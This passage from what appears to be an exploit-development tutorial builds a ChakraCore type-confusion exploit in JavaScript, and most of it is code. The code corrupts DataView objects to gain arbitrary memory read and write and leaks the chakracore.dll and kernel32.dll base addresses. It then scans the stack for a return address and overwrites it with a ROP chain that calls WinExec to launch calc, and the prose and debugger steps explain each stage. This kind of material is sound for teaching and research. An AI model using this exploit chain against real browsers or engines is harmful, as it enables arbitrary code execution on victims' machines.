    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary (lcoated at type+0x8)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext (located at javascriptLibrary+0x450)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x450</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascripLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x3b8</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread (located at threadContext+0xc8)</span>
    <span class="nx">stackAddress</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack from type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread!</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack leak: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Compute the stack limit for the current thread and store it in an array</span>
    <span class="kd">var</span> <span class="nx">stackLeak</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mh">0xed000</span><span class="p">;</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack limit: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Scan the stack</span>

    <span class="c1">// Counter variable</span>
    <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Store our target return address</span>
    <span class="kd">var</span> <span class="nx">retAddr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0x1768bc0</span><span class="p">;</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

    <span class="c1">// Loop until we find our target address</span>
    <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span>
    <span class="p">{</span>

        <span class="c1">// Store the contents of the stack</span>
        <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

        <span class="c1">// Did we find our return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
            <span class="c1">// print update</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found the target return address on the stack!</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// stackLeak+counter will now contain the stack address which contains the target return address</span>
            <span class="c1">// We want to use our arbitrary write primitive to overwrite this stack address with our own value</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target return address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>

            <span class="c1">// Break out of the loop</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Increment the counter if we didn't find our target return address</span>
        <span class="nx">counter</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Begin ROP chain</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e876</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e876: pop rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x636c6163</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>            <span class="c1">// calc</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e6c6</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e6c6: pop rcx ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1c77000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    <span class="c1">// Empty address in .data of chakracore.dll</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd7ff7</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x1800d7ff7: mov qword [rcx], rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>

    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>

<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>You’ll notice the address we are placing in RCX, via <code class="language-plaintext highlighter-rouge">pop rcx</code>, is “an empty address in <code class="language-plaintext highlighter-rouge">.data</code> of <code class="language-plaintext highlighter-rouge">chakracore.dll</code>”. The <code class="language-plaintext highlighter-rouge">.data</code> section of any PE is generally readable and writable. This gives us the proper permissions needed to write <code class="language-plaintext highlighter-rouge">calc</code> into the pointer. To find this address, we can look at the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakracore.dll</code> in WinDbg with the <code class="language-plaintext highlighter-rouge">!dh</code> command.</p>

<p><img src="/images/2typeconfusion96.png" alt="" /></p>

<p><img src="/images/2typeconfusion97.png" alt="" /></p>

<p><img src="/images/2typeconfusion98.png" alt="" /></p>

<p>Let’s open our <code class="language-plaintext highlighter-rouge">exploit.js</code> in WinDbg again via <code class="language-plaintext highlighter-rouge">ch.exe</code> and WinDbg and set a breakpoint on our first ROP gadget (located at <code class="language-plaintext highlighter-rouge">chakracore_base + 0x3e876</code>) to step through execution.</p>

<p><img src="/images/2typeconfusion99.png" alt="" /></p>

<p><img src="/images/2typeconfusion100.png" alt="" /></p>

<p>Looking at the stack, we can see we are currently executing our ROP chain.</p>

<p><img src="/images/2typeconfusion101.png" alt="" /></p>

<p>Our first ROP gadget, <code class="language-plaintext highlighter-rouge">pop rax</code>, will place <code class="language-plaintext highlighter-rouge">calc</code> (in hex representation) into the RAX register.</p>

<p><img src="/images/2typeconfusion102.png" alt="" /></p>

<p>After execution, we can see the <code class="language-plaintext highlighter-rouge">ret</code> from our ROP gadget takes us right to our next gadget - <code class="language-plaintext highlighter-rouge">pop rcx</code>, which will place the empty <code class="language-plaintext highlighter-rouge">.data</code> pointer from <code class="language-plaintext highlighter-rouge">chakracore.dll</code> into RCX.</p>

<p><img src="/images/2typeconfusion103.png" alt="" /></p>

<p><img src="/images/2typeconfusion104.png" alt="" /></p>

<p>This brings us to our next ROP gadget, the <code class="language-plaintext highlighter-rouge">mov qword ptr [rcx], rax ; ret</code> gadget.</p>

<p><img src="/images/2typeconfusion105.png" alt="" /></p>

<p>After execution of the ROP gadget, we can see the <code class="language-plaintext highlighter-rouge">.data</code> pointer now contains the contents of <code class="language-plaintext highlighter-rouge">calc</code> - meaning we now have a pointer we can place in RCX (it technically is already in RCX) as the <code class="language-plaintext highlighter-rouge">lpCmdLine</code> parameter.</p>

<p><img src="/images/2typeconfusion106.png" alt="" /></p>

<p>Now that the first parameter is done - we only have two more steps left. The first is the second parameter, <code class="language-plaintext highlighter-rouge">uCmdShow</code> (which just needs to be set to <code class="language-plaintext highlighter-rouge">0</code>). The last gadget will pop the address of <code class="language-plaintext highlighter-rouge">kernel32!WinExec</code>. Here is how this part of the ROP chain will look.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pop rdx ; ret
&lt;0 as the second parameter&gt; (placed into RDX)

pop rax ; ret
&lt;WinExec address&gt; (placed into RAX)

jmp rax (call kernel32!WinExec)
</code></pre></div></div>

<p>The above gadgets will fill RDX with our last parameter, and then place <code class="language-plaintext highlighter-rouge">WinExec</code> into RAX. Here is how we update our final script.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary (lcoated at type+0x8)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext (located at javascriptLibrary+0x450)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x450</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascripLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x3b8</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread (located at threadContext+0xc8)</span>
    <span class="nx">stackAddress</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack from type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread!</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack leak: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Compute the stack limit for the current thread and store it in an array</span>
    <span class="kd">var</span> <span class="nx">stackLeak</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mh">0xed000</span><span class="p">;</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack limit: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Scan the stack</span>

    <span class="c1">// Counter variable</span>
    <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Store our target return address</span>
    <span class="kd">var</span> <span class="nx">retAddr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0x1768bc0</span><span class="p">;</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

    <span class="c1">// Loop until we find our target address</span>
    <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span>
    <span class="p">{</span>

        <span class="c1">// Store the contents of the stack</span>
        <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

        <span class="c1">// Did we find our return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
            <span class="c1">// print update</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found the target return address on the stack!</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// stackLeak+counter will now contain the stack address which contains the target return address</span>
            <span class="c1">// We want to use our arbitrary write primitive to overwrite this stack address with our own value</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target return address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>

            <span class="c1">// Break out of the loop</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Increment the counter if we didn't find our target return address</span>
        <span class="nx">counter</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Begin ROP chain</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e876</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e876: pop rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x636c6163</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>            <span class="c1">// calc</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e6c6</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e6c6: pop rcx ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1c77000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    <span class="c1">// Empty address in .data of chakracore.dll</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd7ff7</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x1800d7ff7: mov qword [rcx], rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x40802</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x1800d7ff7: pop rdx ; ret</span>
